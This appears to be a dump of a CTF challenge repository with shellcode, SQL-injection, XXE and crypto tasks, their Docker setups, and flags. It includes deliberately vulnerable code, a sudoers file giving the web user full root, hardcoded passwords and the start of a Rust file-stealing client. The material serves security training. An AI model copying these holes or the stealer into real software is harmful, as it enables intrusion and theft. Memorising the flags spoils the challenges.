main() 68 | { 69 | OooO0OOo(); 70 | puts("Welcome to MiniL2023!!! Enjoy~"); 71 | puts("Well, Let's play a game to warm up!"); 72 | char *oo0Oo = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, 34, -1, 0); 73 | memset(oo0Oo, 0x90, 0x1000); 74 | unsigned int length = read(0, ooooo0ooo0o, 0x40); 75 | memcpy(oo0Oo, "H1\xc0H1\xdbH1\xc9H1\xd2H1\xffH1\xf6H1\xedH1\xe4M1\xc0M1\xc9M1\xd2M1\xdbM1\xe4M1\xedM1\xf6M1\xff", 48); 76 | memcpy(oo0Oo + 48, ooooo0ooo0o, length); 77 | if(o0o0o000o()) 78 | ((void (*)(void))oo0Oo)(); 79 | } -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /usr/lib* /home/ctf 12 | 13 | RUN mkdir /home/ctf/dev && \ 14 | mknod /home/ctf/dev/urandom c 1 9 && \ 15 | chmod 666 /home/ctf/dev/* 16 | 17 | RUN mkdir /home/ctf/bin && \ 18 | cp /bin/sh /home/ctf/bin && \ 19 | cp /bin/ls /home/ctf/bin && \ 20 | cp /bin/cat /home/ctf/bin 21 | 22 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 23 | COPY ./start.sh /start.sh 24 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 25 | 26 | RUN chmod +x /start.sh 27 | 28 | COPY ./bin/ /home/ctf/ 29 | RUN chown -R root:ctf /home/ctf && \ 30 | chmod -R 750 /home/ctf && \ 31 | chmod 740 /home/ctf/flag1 && \ 32 | chmod 740 /home/ctf/flag2 33 | 34 | CMD ["/start.sh"] 35 | 36 | EXPOSE 9999 37 | -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/README.md: -------------------------------------------------------------------------------- 1 | # ctf_xinetd 2 | 3 | > A docker repository for deploying CTF challenges 4 | 5 | ## Configuration 6 | 7 | Put files to floder `bin`. They'll be copied to /home/ctf. **Update the flag** at the same time. 8 | 9 | Edit `ctf.xinetd`. replace `./helloworld` to your command. 10 | 11 | You can also edit `Dockerfile, ctf.xinetd, start.sh` to custom your environment. 12 | 13 | ## Build 14 | 15 | ```bash 16 | docker build -t "helloworld" . 17 | ``` 18 | 19 | DO NOT use *bin* as challenge's name 20 | 21 | ## Run 22 | 23 | ```bash 24 | docker run -d -p "0.0.0.0:pub_port:9999" -h "helloworld" --name="helloworld" helloworld 25 | ``` 26 | 27 | `pub_port` is the port you want to expose to the public network. 28 | 29 | ## Capture traffic 30 | 31 | If you want to capture challenge traffic, just run `tcpdump` on the host. Here is an example. 32 | 33 | ```bash 34 | tcpdump -w helloworld.pcap -i eth0 port pub_port 35 | ``` 36 | -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/bin/flag1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezshellcode/题目环境/bin/flag1 -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/bin/flag2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezshellcode/题目环境/bin/flag2 -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/bin/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezshellcode/题目环境/bin/main -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 /home/ctf ./main 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目环境/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | # echo $FLAG > /home/ctf/flag && export FLAG='' # DO NOT DELETE 4 | # 获取FLAG环境变量 5 | # 计算FLAG变量的长度 6 | flag_len=$(expr length "$FLAG") 7 | 8 | # 计算中间位置 9 | mid=$(($flag_len / 2)) 10 | 11 | # 将FLAG变量分成两半并分别赋值给flag1和flag2 12 | flag1=$(echo "$FLAG" | cut -c 1-$mid) 13 | flag2=$(echo "$FLAG" | cut -c $(($mid+1))-$flag_len) 14 | 15 | export FLAG='' 16 | # 打印分别存储在flag1与flag2中的值 17 | # echo $flag1 18 | # echo $flag2 19 | echo $flag1 > flag1 20 | echo $flag2 > flag2 21 | 22 | /etc/init.d/xinetd start; 23 | sleep infinity; 24 | -------------------------------------------------------------------------------- /Challenges/ezsql/db/data.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE ctf; 2 | GO 3 | 4 | USE ctf; 5 | GO 6 | 7 | CREATE TABLE dbo.users ( 8 | id INT NOT NULL, 9 | name VARCHAR (50) NOT NULL 10 | ); 11 | GO 12 | 13 | INSERT INTO dbo.users VALUES (1, 'admin'); 14 | INSERT INTO dbo.users VALUES (2, 'MiNl'); 15 | INSERT INTO dbo.users VALUES (3, 'L'); 16 | INSERT INTO dbo.users VALUES (4, '2023'); 17 | GO 18 | 19 | backup database ctf to disk = '/tmp/bak.bak'; 20 | GO 21 | -------------------------------------------------------------------------------- /Challenges/ezsql/db/dockerfile: -------------------------------------------------------------------------------- 1 | FROM mcr.microsoft.com/mssql/server:2017-latest 2 | ENV ACCEPT_EULA=Y MSSQL_SA_PASSWORD=P@ss1234word MSSQL_PID=Developer MSSQL_TCP_PORT=1433 3 | COPY data.sql ./data.sql 4 | RUN (/opt/mssql/bin/sqlservr --accept-eula & ) | grep -q "Service Broker manager has started" && /opt/mssql-tools/bin/sqlcmd -S127.0.0.1 -Usa -PP@ss1234word -i data.sql 5 | -------------------------------------------------------------------------------- /Challenges/ezsql/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '1.0' 2 | 3 | services: 4 | web: 5 | build: ./web 6 | ports: 7 | - "10003:80" 8 | links: 9 | - "db" 10 | depends_on: 11 | - "db" 12 | networks: 13 | - my-network 14 | volumes: 15 | - webService:/var/www/html 16 | db: 17 | build: ./db 18 | networks: 19 | - my-network 20 | volumes: 21 | - webService:/var/www/html 22 | 23 | volumes: 24 | webService: 25 | networks: 26 | my-network: -------------------------------------------------------------------------------- /Challenges/ezsql/web/config.php: -------------------------------------------------------------------------------- 1 | "ctf", 5 | "Uid" => "sa", 6 | "PWD" => "P@ss1234word" 7 | ); 8 | 9 | $conn = sqlsrv_connect($serverName, $connectionOptions); 10 | if ($conn === false) { 11 | die(print_r(sqlsrv_errors(), true)); 12 | } -------------------------------------------------------------------------------- /Challenges/ezsql/web/dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8-apache 2 | USER root 3 | RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | RUN apt-get update && apt-get install -y freetds-dev unixodbc unixodbc-dev gnupg \ 5 | && pecl install pdo_sqlsrv sqlsrv && docker-php-ext-enable pdo_sqlsrv sqlsrv \ 6 | && docker-php-ext-configure pdo_odbc --with-pdo-odbc=unixODBC,/usr \ 7 | && docker-php-ext-install pdo_odbc \ 8 | && docker-php-ext-enable pdo_odbc \ 9 | && apt-get install sudo 10 | COPY microsoft.asc /tmp/microsoft.asc 11 | COPY sudoers /etc/sudoers 12 | COPY flag /flag 13 | RUN apt-key add /tmp/microsoft.asc 14 | COPY ./config.php ./index.php ./sql.php /var/www/html/ 15 | COPY prod.list /etc/apt/sources.list.d/mssql-release.list 16 | RUN apt-get update \ 17 | && ACCEPT_EULA=Y apt-get install -y msodbcsql17 --fix-missing \ 18 | && ACCEPT_EULA=Y apt-get install -y mssql-tools \ 19 | && echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> ~/.bashrc \ 20 | && . ~/.bashrc \ 21 | && echo 'www-data:TestRoot!@#' | chpasswd 22 | EXPOSE 80 23 | -------------------------------------------------------------------------------- /Challenges/ezsql/web/flag: -------------------------------------------------------------------------------- 1 | flag{0HHHhh_y0U_gE7Sh3ll_by_th1ssss_mNinLSql??} -------------------------------------------------------------------------------- /Challenges/ezsql/web/index.php: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | CTF Challenge 20 | 100 | 101 | 102 |
103 |
104 | 105 | 106 | 107 |
108 |
109 |
110 |
111 | 112 | 113 | -------------------------------------------------------------------------------- /Challenges/ezsql/web/microsoft.asc: -------------------------------------------------------------------------------- 1 | -----BEGIN PGP PUBLIC KEY BLOCK----- 2 | Version: GnuPG v1.4.7 (GNU/Linux) 3 | 4 | mQENBFYxWIwBCADAKoZhZlJxGNGWzqV+1OG1xiQeoowKhssGAKvd+buXCGISZJwT 5 | LXZqIcIiLP7pqdcZWtE9bSc7yBY2MalDp9Liu0KekywQ6VVX1T72NPf5Ev6x6DLV 6 | 7aVWsCzUAF+eb7DC9fPuFLEdxmOEYoPjzrQ7cCnSV4JQxAqhU4T6OjbvRazGl3ag 7 | OeizPXmRljMtUUttHQZnRhtlzkmwIrUivbfFPD+fEoHJ1+uIdfOzZX8/oKHKLe2j 8 | H632kvsNzJFlROVvGLYAk2WRcLu+RjjggixhwiB+Mu/A8Tf4V6b+YppS44q8EvVr 9 | M+QvY7LNSOffSO6Slsy9oisGTdfE39nC7pVRABEBAAG0N01pY3Jvc29mdCAoUmVs 10 | ZWFzZSBzaWduaW5nKSA8Z3Bnc2VjdXJpdHlAbWljcm9zb2Z0LmNvbT6JATUEEwEC 11 | AB8FAlYxWIwCGwMGCwkIBwMCBBUCCAMDFgIBAh4BAheAAAoJEOs+lK2+EinPGpsH 12 | /32vKy29Hg51H9dfFJMx0/a/F+5vKeCeVqimvyTM04C+XENNuSbYZ3eRPHGHFLqe 13 | MNGxsfb7C7ZxEeW7J/vSzRgHxm7ZvESisUYRFq2sgkJ+HFERNrqfci45bdhmrUsy 14 | 7SWw9ybxdFOkuQoyKD3tBmiGfONQMlBaOMWdAsic965rvJsd5zYaZZFI1UwTkFXV 15 | KJt3bp3Ngn1vEYXwijGTa+FXz6GLHueJwF0I7ug34DgUkAFvAs8Hacr2DRYxL5RJ 16 | XdNgj4Jd2/g6T9InmWT0hASljur+dJnzNiNCkbn9KbX7J/qK1IbR8y560yRmFsU+ 17 | NdCFTW7wY0Fb1fWJ+/KTsC4= 18 | =J6gs 19 | -----END PGP PUBLIC KEY BLOCK----- 20 | -------------------------------------------------------------------------------- /Challenges/ezsql/web/prod.list: -------------------------------------------------------------------------------- 1 | deb [arch=amd64] https://packages.microsoft.com/ubuntu/18.04/prod bionic main -------------------------------------------------------------------------------- /Challenges/ezsql/web/sql.php: -------------------------------------------------------------------------------- 1 | 0) { 22 | if ($i == 0) { 23 | $stmt = sqlsrv_query($conn, $sql_commands[$i]); 24 | check_error_msg($stmt, $conn, $sql_commands[$i]); 25 | while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) { 26 | $results = array_merge($results, inquire($row['id'], $conn)); 27 | } 28 | } 29 | else { 30 | $stmt = sqlsrv_query($conn, $sql_commands[$i]); 31 | check_error_msg($stmt, $conn, $sql_commands[$i]); 32 | } 33 | } 34 | } 35 | return $results; 36 | } 37 | 38 | function check_error_msg($stmt, $conn, $sql_string) { 39 | if ($stmt === false) { 40 | $errors = sqlsrv_errors(); 41 | foreach ($errors as $error) { 42 | $error_message = "ERROR-MESSAGE: " . $error['message'] . "
" . "SQL-STATEMENT: " . $sql_string; 43 | $styled_message = "
" . $error_message . "
"; 44 | die($styled_message); 45 | } 46 | } 47 | } 48 | 49 | 50 | function sql_filter($str) { 51 | $str = preg_replace('/\s+/', '', $str); 52 | $black_list = ['$', '%', '"', '\'', '<', '>', ' ', '*', '&', '\n', '\t', '\r\n', '\r', chr(0xC2).chr(0xA0), chr(0xE3).chr(0x80).chr(0x80), 'insert', 'alter', 'create', 'delete']; 53 | $str = str_replace($black_list, '', $str); 54 | return $str; 55 | } 56 | ?> 57 | 58 | 59 | CTF Challenge 60 | 69 | 70 | -------------------------------------------------------------------------------- /Challenges/ezsql/web/sudoers: -------------------------------------------------------------------------------- 1 | # 2 | # This file MUST be edited with the 'visudo' command as root. 3 | # 4 | # Please consider adding local content in /etc/sudoers.d/ instead of 5 | # directly modifying this file. 6 | # 7 | # See the man page for details on how to write a sudoers file. 8 | # 9 | Defaults env_reset 10 | Defaults mail_badpass 11 | Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" 12 | 13 | # Host alias specification 14 | 15 | # User alias specification 16 | 17 | # Cmnd alias specification 18 | 19 | # User privilege specification 20 | root ALL=(ALL:ALL) ALL 21 | www-data ALL=(ALL:ALL) ALL 22 | # Allow members of group sudo to execute any command 23 | %sudo ALL=(ALL:ALL) ALL 24 | 25 | # See sudoers(5) for more information on "@include" directives: 26 | 27 | @includedir /etc/sudoers.d 28 | -------------------------------------------------------------------------------- /Challenges/fake_login/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, render_template, make_response, jsonify 2 | from lxml import etree 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET', 'POST']) 7 | def index(): 8 | return render_template('login.html') 9 | 10 | @app.route('/login', methods=['POST']) 11 | def login(): 12 | parser = etree.XMLParser(recover=True) 13 | xml_string = request.data 14 | tree = etree.fromstring(xml_string, parser) 15 | username = tree.find('username').text 16 | password = tree.find('password').text 17 | if username == 'admin' and password == 'admin': 18 | message = 'Oh! You guessed my username and password, but where is the flag?' 19 | response = make_response('', 200) 20 | response.headers['Content-Type'] = 'application/json' 21 | response.data = jsonify({'message': message}).data 22 | return response 23 | else : 24 | message = username + ' is not exist or password is wrong!' 25 | response = make_response('', 401) 26 | response.headers['Content-Type'] = 'application/json' 27 | response.data = jsonify({'message': message}).data 28 | return response 29 | 30 | if __name__ == '__main__': 31 | app.run(host = "0.0.0.0", port = 8000 ,debug = True) 32 | -------------------------------------------------------------------------------- /Challenges/fake_login/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '1.0' 2 | 3 | services: 4 | web: 5 | build: . 6 | ports: 7 | - "8020:8000" 8 | -------------------------------------------------------------------------------- /Challenges/fake_login/dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim 2 | RUN pip3 install flask lxml -i http://mirrors.aliyun.com/pypi/simple/ 3 | COPY app.py /app/app.py 4 | COPY login.html /app/templates/login.html 5 | COPY flag /flag 6 | EXPOSE 8000 7 | RUN useradd -m -s /bin/bash minictfer 8 | USER minictfer 9 | WORKDIR /app 10 | CMD ["python3", "app.py"] -------------------------------------------------------------------------------- /Challenges/fake_login/flag: -------------------------------------------------------------------------------- 1 | flag{fake_flag_hahaha} 2 | RCE this machine and get the true flag. -------------------------------------------------------------------------------- /Challenges/fake_login/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 登录 7 | 51 | 52 | 53 | 54 |
55 |

用户登录

56 | 57 |

58 | 59 |

60 | 61 |
62 | 63 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /Challenges/giveaway/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | LABEL Description="Giveaway" VERSION='1.0' 3 | 4 | RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories && apk update && apk add gcc g++ make openssl-dev python3-dev libffi-dev autoconf && mkdir -p /opt/aes && pip install pycryptodome -i https://pypi.mirrors.ustc.edu.cn/simple 5 | 6 | 7 | WORKDIR /opt/Giveaway 8 | 9 | COPY task.py . 10 | COPY secret.py . 11 | 12 | EXPOSE 10007 13 | CMD ["python", "-u", "task.py"] 14 | -------------------------------------------------------------------------------- /Challenges/giveaway/README.md: -------------------------------------------------------------------------------- 1 | - 题目名称:Giveaway 2 | - 提名描述:Look! Here's a vending machine selling flags, almost giveaway! 3 | - 题目附件:给选手下发task.py附件 4 | - Flag:miniL{We1c0me_TO_M1niL2o23_Crypt0!} 5 | -------------------------------------------------------------------------------- /Challenges/giveaway/secret.py: -------------------------------------------------------------------------------- 1 | message=b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! ' -------------------------------------------------------------------------------- /Challenges/giveaway/task.py: -------------------------------------------------------------------------------- 1 | from secret import message 2 | from functools import reduce 3 | from hashlib import sha256 4 | from Crypto.Util.number import bytes_to_long 5 | import socketserver 6 | import signal 7 | import string 8 | import random 9 | 10 | def dec2blist(decimal, length): 11 | """ 12 | Converts an integer to a binary list of a specified length, filling zeros on the left if necessary. 13 | """ 14 | bitlist = [] 15 | while decimal > 0: 16 | bit = decimal % 2 17 | bitlist.append(bit) 18 | decimal //= 2 19 | bitlist.reverse() 20 | if len(bitlist) < length: 21 | bitlist = [0] * (length - len(bitlist)) + bitlist 22 | return bitlist 23 | 24 | def bake(list1,list2): 25 | return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) ) 26 | 27 | def send_a_chocolate(self): 28 | assert len(bin(bytes_to_long(message)))-2==511 29 | dough=bytes_to_long(message) 30 | chocolate_jam=random.getrandbits(512) 31 | cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512)) 32 | self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode()) 33 | 34 | 35 | class Task(socketserver.BaseRequestHandler): 36 | def _recvall(self): 37 | BUFF_SIZE = 2048 38 | data = b'' 39 | while True: 40 | part = self.request.recv(BUFF_SIZE) 41 | data += part 42 | if len(part) < BUFF_SIZE: 43 | break 44 | return data.strip() 45 | 46 | def send(self, msg, newline=True): 47 | try: 48 | if newline: 49 | msg += b'\n' 50 | self.request.sendall(msg) 51 | except: 52 | pass 53 | 54 | def recv(self, prompt=b'[-] '): 55 | self.send(prompt, newline=False) 56 | return self._recvall() 57 | 58 | def proof_of_work(self): 59 | table = string.ascii_letters+string.digits 60 | proof = (''.join([random.choice(table)for _ in range(20)])).encode() 61 | sha = sha256(proof).hexdigest().encode() 62 | self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha ) 63 | XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :') 64 | if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha: 65 | return False 66 | return True 67 | 68 | def sendmenu(self,coins): 69 | self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. \ 70 | Please press the number to make your choice!\n[1] Buy a chocolate cookie\n[2] Top-up silver coins \n[3] Exit\n".encode()) 71 | 72 | def handle(self): 73 | signal.alarm(233) 74 | 75 | coins=random.randint(503,508)#Well ... Easy mode 76 | 77 | self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!") 78 | proof = self.proof_of_work() 79 | if not proof: 80 | self.request.close() 81 | 82 | while(coins): 83 | self.sendmenu(coins) 84 | try: 85 | choice=int(self.recv().decode()) 86 | except Exception as e: 87 | self.send(str(e).encode()) 88 | continue 89 | 90 | if (choice == 1 and coins > 0): 91 | coins -= 1 92 | send_a_chocolate(self) 93 | elif (choice == 2): 94 | self.send(b"[+] Error: The service is currently unavailable, please try again later :(\n") 95 | elif (choice == 3): 96 | self.send(b"[+] Bye!\n") 97 | self.request.close() 98 | else: 99 | self.send(b"[+] Please send 1/2/3 to make your choice!\n") 100 | 101 | self.send(b"[+] Looks like you\'re out of coins... See you next time! Good luck!\n") 102 | self.request.close() 103 | 104 | class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 105 | pass 106 | 107 | class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): 108 | pass 109 | 110 | if __name__ == "__main__": 111 | HOST, PORT = '0.0.0.0', 10007 112 | server = ForkedServer((HOST, PORT), Task) 113 | server.allow_reuse_address = True 114 | print(HOST, PORT) 115 | server.serve_forever() -------------------------------------------------------------------------------- /Challenges/guess/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | LABEL Description="guess" VERSION='1.0' 3 | 4 | RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories && apk update && apk add gcc g++ make openssl-dev python3-dev libffi-dev autoconf && mkdir -p /opt/aes && pip install pycryptodome gmpy2 -i https://pypi.mirrors.ustc.edu.cn/simple 5 | 6 | 7 | WORKDIR /opt/Guess 8 | 9 | COPY task.py . 10 | COPY secret.py . 11 | 12 | EXPOSE 10001 13 | CMD ["python", "-u", "task.py"] 14 | -------------------------------------------------------------------------------- /Challenges/guess/README.md: -------------------------------------------------------------------------------- 1 | - 题目名称:Guess Frenzy 2 | - 题目附件:给选手下发task.py附件 3 | - 题目描述:Can you guess the numbers alice chose? 4 | - Flag:miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!} 5 | -------------------------------------------------------------------------------- /Challenges/guess/secret.py: -------------------------------------------------------------------------------- 1 | flag=b'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}' -------------------------------------------------------------------------------- /Challenges/guess/task.py: -------------------------------------------------------------------------------- 1 | from secret import flag 2 | from functools import reduce 3 | from Crypto.Util.number import getPrime 4 | from hashlib import sha256 5 | import socketserver 6 | import signal 7 | import string 8 | import random 9 | import gmpy2 10 | 11 | N_SIZE=52 12 | MOD_SIZE=50 13 | 14 | def dec2blist(decimal, length): 15 | """ 16 | Converts an integer to a binary list of a specified length, filling zeros on the left if necessary. 17 | """ 18 | bitlist = [] 19 | while decimal > 0: 20 | bit = decimal % 2 21 | bitlist.append(bit) 22 | decimal //= 2 23 | bitlist.reverse() 24 | if len(bitlist) < length: 25 | bitlist = [0] * (length - len(bitlist)) + bitlist 26 | return bitlist 27 | 28 | def generate_prime_list(listlen:int,q:int): 29 | primes = [] 30 | while len(primes) < listlen: 31 | n = random.randint(2, q-1) 32 | if gmpy2.is_prime(n): 33 | primes.append(n) 34 | return primes 35 | 36 | def verify(prime_list,key,q,product): 37 | choice=dec2blist(key,len(prime_list)) 38 | elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]] 39 | newproduct = reduce((lambda x, y: x * y % q), elements) 40 | return product==newproduct 41 | 42 | def product_mod_q(prime_list,q): 43 | l=len(prime_list) 44 | elements = random.sample(prime_list,random.randint(l//2,l)) 45 | product = reduce((lambda x, y: x * y % q), elements) 46 | return product 47 | 48 | class Task(socketserver.BaseRequestHandler): 49 | def _recvall(self): 50 | BUFF_SIZE = 2048 51 | data = b'' 52 | while True: 53 | part = self.request.recv(BUFF_SIZE) 54 | data += part 55 | if len(part) < BUFF_SIZE: 56 | break 57 | return data.strip() 58 | 59 | def send(self, msg, newline=True): 60 | try: 61 | if newline: 62 | msg += b'\n' 63 | self.request.sendall(msg) 64 | except: 65 | pass 66 | 67 | def recv(self, prompt=b'[-] '): 68 | self.send(prompt, newline=False) 69 | return self._recvall() 70 | 71 | def proof_of_work(self): 72 | table = string.ascii_letters+string.digits 73 | proof = (''.join([random.choice(table)for _ in range(20)])).encode() 74 | sha = sha256(proof).hexdigest().encode() 75 | self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha ) 76 | XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :') 77 | if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha: 78 | return False 79 | return True 80 | 81 | def handle(self): 82 | signal.alarm(233) 83 | 84 | self.send(b"Welcome to Guess Frenzy! You need to complete the Proof of work first!") 85 | proof = self.proof_of_work() 86 | if not proof: 87 | self.request.close() 88 | 89 | q=getPrime(MOD_SIZE) 90 | prime_list=generate_prime_list(N_SIZE,q) 91 | 92 | self.send(b"Alice have some primes:\n"+str(prime_list).encode()+b"\n") 93 | 94 | product=product_mod_q(prime_list,q) 95 | self.send(f"She picks some and multiplies them ,then mod {q} ,the product is {product}".encode()) 96 | 97 | self.send(b"You should guess Alice's choice as the key to get the flag!\n") 98 | 99 | for _ in range(5): 100 | try: 101 | key=int(self.recv(b"[-] key=\n").decode()) 102 | except Exception as e: 103 | self.send(str(e).encode()) 104 | 105 | if(verify(prime_list,key,q,product)): 106 | self.send(f"Congratulations! Here's the flag for you \n{flag}".encode()) 107 | self.request.close() 108 | else: 109 | self.send("Nope! Try again!".encode()) 110 | 111 | self.send("Bye!") 112 | 113 | class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 114 | pass 115 | 116 | class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): 117 | pass 118 | 119 | if __name__ == "__main__": 120 | HOST, PORT = '0.0.0.0', 10001 121 | server = ForkedServer((HOST, PORT), Task) 122 | server.allow_reuse_address = True 123 | print(HOST, PORT) 124 | server.serve_forever() -------------------------------------------------------------------------------- /Challenges/hacker's_gift/attachment/gift.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/hacker's_gift/attachment/gift.pcapng -------------------------------------------------------------------------------- /Challenges/hacker's_gift/attachment/readme.txt: -------------------------------------------------------------------------------- 1 | 注意:gift(client)和server附件请使用cargo自行编译,题目放出的为debug版本 2 | --------------------------------------------------- 3 | 以下内容为题目的一部分 4 | 5 | DX收到了一封奇怪的邮件,里面只有一个名叫gift的程序。DX好奇地运行了一下,可是什么都没有发生。 6 | 这一定是某个人无聊的恶作剧!DX顺手把它扔进了回收站,根本没把这事放在心上。 7 | 8 | DX不知道的是,这都是hacker X 的阴谋!X已经窃取了DX电脑上的文件! 9 | X在翻看流量记录的时候,发现竟然还有一个叫flag的文件。听说DX最近在办ctf,这一定对身为选手的你很重要吧! 10 | 11 | 于是X把自己的程序和流量记录都发给了你,只不过流量都是被加密的数据,能不能拿到flag就看你的本事了! 12 | 13 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/hacker's_gift/flag.png -------------------------------------------------------------------------------- /Challenges/hacker's_gift/flag.txt: -------------------------------------------------------------------------------- 1 | minilctf{ecaef1c4-9381-47d4-b4f8-27cfd69206f9} 2 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/client/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/client/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "client" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | tokio = { version = "1.25.0", features = ["full"] } 10 | hyper = {version = "1.0.0-rc.3", features = ["full"]} 11 | http-body-util = "0.1.0-rc.2" 12 | bytes = "1.4.0" 13 | rsa = "0.8.2" 14 | rand = "0.8.5" 15 | 16 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/client/src/main.rs: -------------------------------------------------------------------------------- 1 | mod util; 2 | 3 | use std::path::PathBuf; 4 | use std::fs; 5 | use std::io::Read; 6 | use hyper::{Request, Response, StatusCode}; 7 | // use rsa::pkcs8::der::Writer; 8 | use rsa::{RsaPrivateKey, RsaPublicKey, pkcs8::{EncodePublicKey, LineEnding}, Pkcs1v15Encrypt}; 9 | use bytes::Bytes; 10 | use util::{empty, full}; 11 | use tokio::net::TcpStream; 12 | use hyper::body::Incoming; 13 | use http_body_util::combinators::BoxBody; 14 | use http_body_util::BodyExt; 15 | 16 | #[tokio::main] 17 | async fn main() -> Result<(), Box> { 18 | if let Ok((mut res, private_key)) = get_key().await { 19 | if res.status() == StatusCode::OK { 20 | let mut enc = Vec::new(); 21 | while let Some(next) = res.frame().await { 22 | let frame = next?; 23 | if let Some(chunk) = frame.data_ref() { 24 | enc.append(&mut chunk.to_vec()); 25 | } 26 | } 27 | // println!("{:?}", enc); 28 | let key = private_key.decrypt(Pkcs1v15Encrypt, &enc).unwrap(); 29 | // println!("key: {:?}", String::from_utf8_lossy(&key).to_string()); 30 | encrypt(&key, key.len()).await?; 31 | } 32 | } 33 | Ok(()) 34 | } 35 | 36 | async fn encrypt(key: &[u8], key_len: usize) -> Result<(), Box> { 37 | let path = PathBuf::from("./dangerous_directory"); 38 | if path.is_dir() { 39 | for entry in fs::read_dir(path).unwrap() { 40 | let entry = entry.unwrap(); 41 | // println!("{:?}", entry.file_name()); 42 | if entry.file_name().to_str().unwrap().starts_with('.') || entry.metadata().unwrap().is_dir() { 43 | continue; 44 | } 45 | let mut file_read = fs::OpenOptions::new().read(true).open(entry.path()).unwrap(); 46 | // let mut file_write = fs::OpenOptions::new().write(true).open(entry.path()).unwrap(); 47 | let mut buf = [0; 1024]; 48 | let mut buf_send = Vec::new(); 49 | while let Ok(bytes_read) = file_read.read(&mut buf) { 50 